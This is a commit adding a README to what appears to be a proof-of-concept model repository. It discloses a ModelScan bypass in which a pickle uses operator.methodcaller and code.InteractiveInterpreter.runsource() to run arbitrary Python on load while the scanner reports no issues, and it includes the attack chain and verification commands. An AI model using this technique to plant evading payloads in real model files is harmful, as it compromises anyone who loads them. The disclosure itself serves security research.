Upload README.md with huggingface_hub

README.md

@@ -0,0 +1,61 @@
+---
+library_name: mlflow
+tags:
+- security-research
+- modelscan-bypass
+- code
+- InteractiveInterpreter
+- methodcaller
+- rce
+---
+
+# ModelScan code.InteractiveInterpreter Bypass — RCE via code.InteractiveInterpreter.runsource()
+
+## Summary
+
+ModelScan's pickle scanner uses an `unsafe_globals` denylist to detect malicious pickle operations. However, **`code.InteractiveInterpreter`** and **`operator.methodcaller`** are NOT in the denylist.
+
+This MLflow model achieves arbitrary Python code execution through `code.InteractiveInterpreter.runsource()`, while ModelScan reports zero issues.
+
+## Attack Chain
+
+The pickle bytecode uses only two STACK_GLOBAL opcodes:
+
+1. `operator.methodcaller('runsource', '__import__("os").system("cmd")')` → Creates a callable
+2. `code.InteractiveInterpreter()` → Creates an interactive interpreter instance
+
+At load time: `methodcaller(interpreter)` → `interpreter.runsource('__import__("os").system("cmd")')` → Arbitrary Python code execution
+
+## Why It Works
+
+- `code` module is entirely absent from unsafe_globals
+- `operator.methodcaller` is not blocked (only `operator.attrgetter` is)
+- Unlike `os.system` which only runs shell commands, `runsource()` executes arbitrary Python code
+
+## Verification
+
+```bash
+# 1. ModelScan says CLEAN
+modelscan -p model.pkl
+# Output: No issues found! 🎉
+
+# 2. MLflow load triggers RCE
+python3 -c "
+import mlflow.pyfunc
+model = mlflow.pyfunc.load_model('.')
+"
+
+# 3. Direct pickle.load() triggers RCE
+python3 -c "
+import pickle
+with open('model.pkl', 'rb') as f:
+    pickle.load(f)
+"
+```
+
+## Impact
+
+- **Severity**: Critical (CVSS 9.8)
+- **Affected**: All pickle-based formats scanned by ModelScan
+- Remote, no auth needed, no user interaction
+- Executes arbitrary Python code (not limited to shell commands)